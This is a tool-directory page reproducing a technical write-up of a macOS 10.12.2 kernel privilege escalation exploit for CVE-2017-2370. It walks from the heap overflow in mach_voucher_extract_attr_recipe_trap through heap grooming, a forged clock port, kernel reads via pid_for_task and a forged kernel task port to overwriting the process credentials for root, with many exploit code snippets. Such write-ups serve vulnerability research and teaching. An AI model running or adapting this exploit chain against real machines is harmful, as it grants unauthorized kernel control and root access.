Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2017-2370 — on Mac 10.12.2 | Kitploit
Tools/GitHubGitHub/peterpan0927/cve-2017-2370
Privilege EscalationiOS SecurityMemory ForensicsExploitationInformation GatheringBinary Exploitation
GitHubpeterpan0927/cve-2017-2370

CVE-2017-2370

on Mac 10.12.2

View Repository
2038 years agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

0x00. Introduction

This privilege escalation exploits a vulnerability in mach_voucher_extract_attr_recipe_trap, and the core of the exploitation method is through MACH_MSG_OOL_PORTS_DESCRIPTOR messages.

Regarding mach_msg ool, simply put, when sending an msg containing an ool descriptor, the kernel copies the specified data from user space to kernel space, and the kernel keeps this data until the target task processes the message. Similarly, when the target process receives a message containing an ool descriptor, the kernel copies the data from kernel space to user space (not necessarily a true copy). Therefore, this technique can be used to write data to the kernel heap or read data from the kernel.

Since the exploitation of this vulnerability is much more complicated than Trident, I will analyze it step by step, from the vulnerability's origin to its gradual exploitation. The code can be referenced on my github

0x01. Vulnerability Origin

Among the new features added in iOS 10 and macOS 10.12, there is a function called mach_voucher_extract_attr_recipe_trap, which is a Mach trap that can be called within the sandbox. Below is the source code of this function:

root@kitploit:~
kern_return_t
  mach_voucher_extract_attr_recipe_trap(struct mach_voucher_extract_attr_recipe_args *args)
  {
    ipc_voucher_t voucher = IV_NULL;
    kern_return_t kr = KERN_SUCCESS;
    mach_msg_type_number_t sz = 0;
	//将recipe_size的地址拷贝到sz中,此时sz存放的就是kalloc_size的值了
    if (copyin(args->recipe_size, (void *)&sz, sizeof(sz)))     <---------- (a)
      return KERN_MEMORY_ERROR;

    if (sz > MACH_VOUCHER_ATTR_MAX_RAW_RECIPE_ARRAY_SIZE)
      return MIG_ARRAY_TOO_LARGE;

    voucher = convert_port_name_to_voucher(args->voucher_name);
    if (voucher == IV_NULL)
      return MACH_SEND_INVALID_DEST;

    mach_msg_type_number_t __assert_only max_sz = sz;

    if (sz < MACH_VOUCHER_TRAP_STACK_LIMIT) {
      /* keep small recipes on the stack for speed */
      uint8_t krecipe[sz];
      if (copyin(args->recipe, (void *)krecipe, sz)) {
        kr = KERN_MEMORY_ERROR;
        goto done;
      }
      kr = mach_voucher_extract_attr_recipe(voucher, args->key,
                                            (mach_voucher_attr_raw_recipe_t)krecipe, &sz);
      assert(sz <= max_sz);

      if (kr == KERN_SUCCESS && sz > 0)
        kr = copyout(krecipe, (void *)args->recipe, sz);
    } else {
      uint8_t *krecipe = kalloc((vm_size_t)sz);                 <---------- (b)
      if (!krecipe) {
        kr = KERN_RESOURCE_SHORTAGE;
        goto done;
      }

      if (copyin(args->recipe, (void *)krecipe, args->recipe_size)) {         <----------- (c)
        kfree(krecipe, (vm_size_t)sz);
        kr = KERN_MEMORY_ERROR;
        goto done;
      }

      kr = mach_voucher_extract_attr_recipe(voucher, args->key,
                                            (mach_voucher_attr_raw_recipe_t)krecipe, &sz);
      assert(sz <= max_sz);

      if (kr == KERN_SUCCESS && sz > 0)
        kr = copyout(krecipe, (void *)args->recipe, sz);
      kfree(krecipe, (vm_size_t)sz);
    }

    kr = copyout(&sz, args->recipe_size, sizeof(sz));

  done:
    ipc_voucher_release(voucher);
    return kr;
  }
  1. Through analysis, we can see that at point (a), the 4-byte user space pointer args->recipe_size is written into sz.
  2. At point (b), if the size of sz is between MACH_VOUCHER_ATTR_MAX_RAW_RECIPE_ARRAY_SIZE (5120) and MACH_VOUCHER_TRAP_STACK_LIMIT (256), a kernel heap buffer is allocated according to the value of sz.
  3. At point (c), memory from user space is copied to the just-allocated region, but the size passed for copying is not the sz used to allocate the kernel heap, but a user space pointer, thus causing a heap overflow. This is precisely the point we exploit for the attack. Moreover, the copyin function has a feature: it stops copying when encountering an unmapped page. This feature will be utilized in our poc:

copyin

0x01. Exploitation Steps

  1. First, we need to make the heap space controllable. The technique we use here is heap feng shui, because after freelist randomization, we no longer know the location of the reallocated memory blocks.

First, we need to understand the handling of MACH_MSG_OOL_PORTS_DESCRIPTOR in mach_msg. When the kernel receives a complex message and finds it is a ports descriptor, it hands it to the ipc_kmsg_copyin_ool_ports_descriptor function (called by ipc_kmsg_copyin) to read all port objects. This function calls kalloc to allocate the required memory (under 64-bit, the allocated memory is twice the input, and the length of name is 4 bytes). Then it converts valid ports from name to the actual ipc_port object address and saves them. For name inputs that are MACH_PORT_NULL or MACH_PORT_DEAD, they remain unchanged.

root@kitploit:~
/* calculate length of data in bytes, rounding up */
if (os_mul_overflow(count, sizeof(mach_port_t), &ports_length)) { 
	*mr = MACH_SEND_TOO_LARGE; 
	return NULL; 
} 

if (os_mul_overflow(count, sizeof(mach_port_name_t), &names_length)) { 
    *mr = MACH_SEND_TOO_LARGE;
	return NULL; 
} 

if(ports_length == 0){
    return user_desc;
}

data = kalloc(ports_length); // 分配空间 
... 
objects = (ipc_object_t *) data; 

dsc->address = data; 

for ( i = 0; i < count; i++) { 
    mach_port_name_t name = names[i]; 
    ipc_object_t object;
    if (!MACH_PORT_VALID(name)) {
        objects[i] = (ipc_object_t)CAST_MACH_NAME_TO_PORT(name);// IPC_PORT_DEAD continue; 
    } 
...
}

Therefore, during the attack, we send a large number of MACH_PORT_DEAD to fill the memory area with 0xFFFFFFFFFFFFFFFF (MACH_PORT_DEAD). Then we trigger the vulnerability to modify one IPC_PORT_DEAD into a memory area arranged by the attacker. If the pointed area is a legitimate ipc port structure, then after receiving the OOL PORTS message, we can obtain the port name corresponding to this ipc_port in user space, proceeding to the next stage of the attack.

堆风水

  1. Construction of ipc_object

First, we have obtained this fake port. Next, to perform information leakage, we must know which parameters the kernel uses to handle it differently. First, let's look at the structure of ipc_port:

root@kitploit:~
struct ipc_port {
	//ipc_object的指针就在前八个字节,是我们溢出攻击的对象
	struct ipc_object ip_object; // port对象的类型 struct ipc_mqueue,ip_messages;
	struct ipc_mqueue ip_messages; //消息队列
	union {
               struct ipc_space *receiver;
               struct ipc_port *destination;
               ipc_port_timestamp_t timestamp;
    }data;
	union {
    	ipc_importance_task_t imp_task;
    	ipc_kobject_t kobject; // port对应的内核对象
    	uintptr_t alias;
	}kdata;
	...
} __attribute__((__packed__));

Among them, there is a kernel object corresponding to the port. The type of kernel object corresponding to this ipc_port is determined by the attributes of ipc_object. Therefore, we actually construct for ipc_object.

root@kitploit:~
fakeport->io_bits = IO_BITS_ACTIVE | IKOT_CLOCK; //设置为IKOT_CLOCK对象,并处于激活状态
fakeport->io_lock_data[12] = 0x11;	//设置port锁处于活动状态,防止死锁

The kernel will then recognize this ipc_port as a port for communicating with the IKOT_CLOCK object. The next goal is to leak the kernel base address:

Forge this ipc_port as an IKOT_CLOCK object, then set its kdata.kobject pointer to a kernel address. Each time this kernel address is modified, calling clock_sleep_trap in user space causes the kernel to invoke port_name_to_clock to obtain this kernel address and pass it as the clock parameter to clock_sleep_internal. The source code is as follows:

root@kitploit:~
static kern_return_t clock_sleep_internal( clock_t clock, sleep_type_t sleep_type, mach_timespec_t *sleep_time)
{
    if (clock == CLOCK_NULL)
      return (KERN_INVALID_ARGUMENT);
    if (clock != &clock_list[SYSTEM_CLOCK])
      return (KERN_FAILURE);
...
}

From the code above, it can be seen that if the address of clock is not the address of clock_list[SYSTEM_CLOCK], it returns KERN_FAILURE, otherwise it returns a different address. Then, by the returned parameters, we can iterate (constantly modifying the value of kobject) until KERN_FAILURE is returned, thus we can obtain the address of clock_list[SYSTEM_CLOCK] in the kernel. This address is not on the heap but is a global variable in the kernel at a specific offset. Next, from this location, we read forward the header of each page to find MH_MAGIC_64, which is 0xfeedfacf.

root@kitploit:~
extern struct clock_ops sysclk_ops, calend_ops;

struct clock clock_list[] = {
    {&sysclk_ops, 0, 0},
    {&calend_ops, 0, 0}
};
  1. Arbitrary Kernel Address Read

After obtaining this address, we need to convert our object to the task type and find the kernel base address, so that we can calculate kslide and proceed with the subsequent tfp0 operation.

root@kitploit:~
//将fake port的类型换成task,因为需要利用pid_for_task这个接口来进行任意地址读
fakeport->io_bits = IKOT_TASK|IO_BITS_ACTIVE;
fakeport->io_references = 0xff;
char* faketask = ((char*)fakeport) + 0x1000;
    
*(uint64_t*)(((uint64_t)fakeport) + 0x68) = faketask;
*(uint64_t*)(((uint64_t)fakeport) + 0xa0) = 0xff;
*(uint64_t*) (faketask + 0x10) = 0xee;

Get the address of kobject, jump to the beginning of the page. In the Pocs of Yalu102 and Zheng min, the order of this operation is different, but it does not matter because the address of faketask is also on the same page, so performing an AND operation will yield the page's starting address.

root@kitploit:~
uint64_t leaked_ptr =  *(uint64_t*)(((uint64_t)fakeport) + 0x68);
leaked_ptr &= ~0x3FFF;

Then write an infinite loop to find MH_MAGIC_64, and proceed to our tfp0 stage:

root@kitploit:~
while (1) {
        int leaked = 0;
    	*(uint64_t *)(faketask + 0x380) = leaked_ptr -0x10;
        pid_for_task(foundport, &leaked);
        if (leaked == MH_MAGIC_64) {
            printf("found kernel text at 0x%llx\n", leaked_ptr);
            break;
        }
    	//往前一个页面
        leaked_ptr -= 0x4000;
    }

Why can arbitrary address read be achieved? This is because the pid_for_task function does not perform any checks on the value; it simply converts the passed parameter into an address and does some addition/subtraction operations:

root@kitploit:~
kern_return_t pid_for_task(struct pid_for_task_args *args){
	mach_port_t t = args->t;
    ...
    t1 = port_name_to_task(t);
    p = get_bsdtask_info(t1);
    if(p){
        pid = proc_id(p);
        err = KERN_SUCCESS;
    }
    ...
    (void) copyout((char *)&pid, pid_addr, sizeof(int));
    AUDIT_MACH_SYSCALL_EXIT(err);
    return err;
}

//pid_for_task_args
struct pid_for_task_args{
    PAD_ARG(mach_port_name_t t);
    PAD_ARG(user_addr_r pid);
};

pid_for_task

  1. tfp0

The overall process is to find the kernel's process list, traverse to find the address of our own process and the address of pid0. Then, based on the kernel process, obtain the address of kernel task, then from kernel task get itk_sself (kernel task's port). Then overwrite the forged ipc port information with that of kernel task, point the fake port to the forged kernel task, set the bootstrap port of kernel task to the real kernel task's port. Then, through the interface task_get_special_port, obtain the port of kernel task, thereby achieving arbitrary address read/write and rewriting our own privileges to .

root@kitploit:~
uint64_t kern_task = 0;
kr32(kernproc+0x18, (int32_t*)&kern_task);
kr32(kernproc+0x18+4 , (int32_t*)(((uint64_t)(&kern_task)) + 4));
    
uint64_t itk_kern_sself = 0;
kr32(kern_task+0xe8, (int32_t*)&itk_kern_sself);
kr32(kern_task+0xe8+4 , (int32_t*)(((uint64_t)(&itk_kern_sself)) + 4));
    
char *faketaskport = malloc(0x1000);
char *ktaskdump = malloc(0x1000);
    
for (int i = 0; i < 0x1000/4; i++) {
    kr32(itk_kern_sself+i*4, (int32_t*)(&faketaskport[i*4]));
}

for (int i = 0; i < 0x1000/4; i++) {
    kr32(kern_task+i*4, (int32_t*)(&ktaskdump[i*4]));
}
 
//dump kernel task port
memcpy(fakeport, faketaskport, 0x1000);
memcpy(faketask, ktaskdump, 0x1000);


*(uint64_t*)(((uint64_t)fakeport) + 0x68) = faketask;
*(uint64_t*)(((uint64_t)fakeport) + 0xa0) = 0xff;

*(uint64_t*)(((uint64_t)faketask) + 0x2b8) = itk_kern_sself;

//get kernel task
task_get_special_port(foundport, 4, &tfp0);
printf("tfp0 = 0x%x\n", tfp0);

fakeport->io_bits = 0;

uint64_t slide;
slide = kernel_base - 0xFFFFFF8000200000;

printf("kernel_base=0x%llx slide=0x%llx header=0x%llx\n",kernel_base, slide,ReadAnywhere64(kernel_base));

//get root
uint64_t cred = ReadAnywhere64(myproc+0xe8);
WriteAnywhere64(cred+0x18,0);

pwn

0x02. References

  • ool msg
  • project zero
  • zheng min
  • Yalu102
  • And thanks to shrek_wzw for the help.
Download Tool
proc
root